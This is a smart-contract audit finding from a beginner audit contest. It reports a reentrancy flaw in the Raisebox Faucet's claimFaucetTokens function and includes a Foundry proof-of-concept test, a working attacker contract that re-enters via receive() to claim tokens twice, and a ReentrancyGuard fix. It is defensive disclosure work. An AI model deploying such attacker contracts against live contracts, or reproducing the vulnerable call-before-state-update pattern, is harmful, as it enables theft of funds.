Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Attack in claimFaucetTokens

Reentrancy through `receive()` function during ETH transfer attack, Attacker gained 2000 tokens instead of 1000

Description:

The `claimFaucetTokens` function violates the Checks-Effects-Interactions pattern by making an external ETH call before updating critical state variables, enabling reentrancy attacks.
function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// … precondition checks …
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// @> EXTERNAL CALL to attacker-controlled address BEFORE critical state is finalized
// @> Attacker's receive() can re-enter claimFaucetTokens() here
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
// Effects (happen AFTER the external call above)
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// @> These protections are applied too late; reentrant call sees pre-attack state
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
// @> Token transfer also occurs after the reentrancy point, enabling double-claim
emit Claimed(msg.sender, faucetDrip);
}

Risk: High

Likelihood:

  • Anyone can call claimFaucetTokens() (only zero address/owner/this-contract are blocked), so an attacker can use a simple malicious contract as the caller.

Impact:

  • DoS on availability: dailyClaimCount is incremented twice per attacker run, hitting the global daily cap earlier and reducing claims for legitimate users.

  • Cooldown undermined: The attacker gets an extra claim immediately (without waiting for the 3-day cooldown).

Proof of Concept:

The vulnerable code.

function testClaimFaucetTokensReentrancyAttack() public {
// Deploy the malicious contract
ClaimFaucetTokensAttacker attacker = new ClaimFaucetTokensAttacker();
// Set up the attacker with the faucet contract
attacker.setTarget(raiseBoxFaucet);
// Give the contract some ETH so it can drip to first-time claimers
vm.deal(address(raiseBoxFaucet), 1 ether);
// Record initial state
uint256 initialContractEthBalance = address(raiseBoxFaucet).balance;
uint256 initialContractTokenBalance = raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));
uint256 initialAttackerTokenBalance = raiseBoxFaucet.balanceOf(address(attacker));
uint256 initialAttackerEthBalance = address(attacker).balance;
console.log("=== INITIAL STATE ===");
console.log("Contract ETH balance:", initialContractEthBalance);
console.log("Contract token balance:", initialContractTokenBalance);
console.log("Attacker token balance:", initialAttackerTokenBalance);
console.log("Attacker ETH balance:", initialAttackerEthBalance);
// Attempt the reentrancy attack
attacker.attack();
// Check final state
uint256 finalContractEthBalance = address(raiseBoxFaucet).balance;
uint256 finalContractTokenBalance = raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));
uint256 finalAttackerTokenBalance = raiseBoxFaucet.balanceOf(address(attacker));
uint256 finalAttackerEthBalance = address(attacker).balance;
console.log("=== FINAL STATE ===");
console.log("Contract ETH balance:", finalContractEthBalance);
console.log("Contract token balance:", finalContractTokenBalance);
console.log("Attacker token balance:", finalAttackerTokenBalance);
console.log("Attacker ETH balance:", finalAttackerEthBalance);
// Calculate gains
uint256 tokensGained = finalAttackerTokenBalance - initialAttackerTokenBalance;
uint256 ethGained = finalAttackerEthBalance - initialAttackerEthBalance;
uint256 contractTokensLost = initialContractTokenBalance - finalContractTokenBalance;
uint256 contractEthLost = initialContractEthBalance - finalContractEthBalance;
console.log("=== ATTACK RESULTS ===");
console.log("Tokens gained by attacker:", tokensGained);
console.log("ETH gained by attacker:", ethGained);
console.log("Tokens lost by contract:", contractTokensLost);
console.log("ETH lost by contract:", contractEthLost);
// Expected behavior: attacker should only get 1x faucetDrip and 1x sepEthAmountToDrip
uint256 expectedTokens = raiseBoxFaucet.faucetDrip();
uint256 expectedEth = raiseBoxFaucet.sepEthAmountToDrip();
console.log("Expected tokens (1x drip):", expectedTokens);
console.log("Expected ETH (1x drip):", expectedEth);
// Check if reentrancy allowed multiple claims
if (tokensGained > expectedTokens) {
console.log("REENTRANCY VULNERABILITY DETECTED!");
console.log("Attacker gained more tokens than expected");
console.log("Extra tokens stolen:", tokensGained - expectedTokens);
}
if (ethGained > expectedEth) {
console.log("REENTRANCY VULNERABILITY DETECTED!");
console.log("Attacker gained more ETH than expected");
console.log("Extra ETH stolen:", ethGained - expectedEth);
}
// The vulnerability allows multiple claims in a single transaction
// Let's see what actually happened
assertTrue(tokensGained >= expectedTokens, "Attacker should have gained at least the faucet drip");
assertTrue(ethGained >= expectedEth, "Attacker should have gained at least the ETH drip");
}
}
// Malicious contract that exploits claimFaucetTokens reentrancy vulnerability
contract ClaimFaucetTokensAttacker {
RaiseBoxFaucet public target;
uint256 public attackCount = 0;
uint256 public maxAttacks = 3;
bool public attacking = false;
function setTarget(RaiseBoxFaucet _target) external {
target = _target;
}
function attack() public {
attacking = true;
attackCount = 0;
// First call to claimFaucetTokens - this should trigger ETH transfer and reentrancy
target.claimFaucetTokens();
attacking = false;
console.log("Attack completed");
console.log("Contract ETH balance after attack:", address(target).balance);
console.log("Contract token balance after attack:", target.balanceOf(address(target)));
console.log("Attacker token balance after attack:", target.balanceOf(address(this)));
}
// This will be called when the contract receives ETH during claimFaucetTokens
receive() external payable {
console.log("Receive function triggered! Received:", msg.value);
console.log("Attack count:", attackCount);
if (attacking && attackCount < maxAttacks) {
attackCount++;
console.log("Attempting reentrancy attack #", attackCount);
try target.claimFaucetTokens() {
console.log("Reentrancy attack #", attackCount, "succeeded!");
} catch Error(string memory reason) {
console.log("Reentrancy attack #", attackCount, "failed:", reason);
} catch {
console.log("Reentrancy attack #", attackCount, "failed with low-level error");
}
} else {
console.log("Max attacks reached or not attacking, stopping reentrancy");
}
}
}

Recommended Mitigation:

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
function claimFaucetTokens() public nonReentrant {
// ... existing logic unchanged ...
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.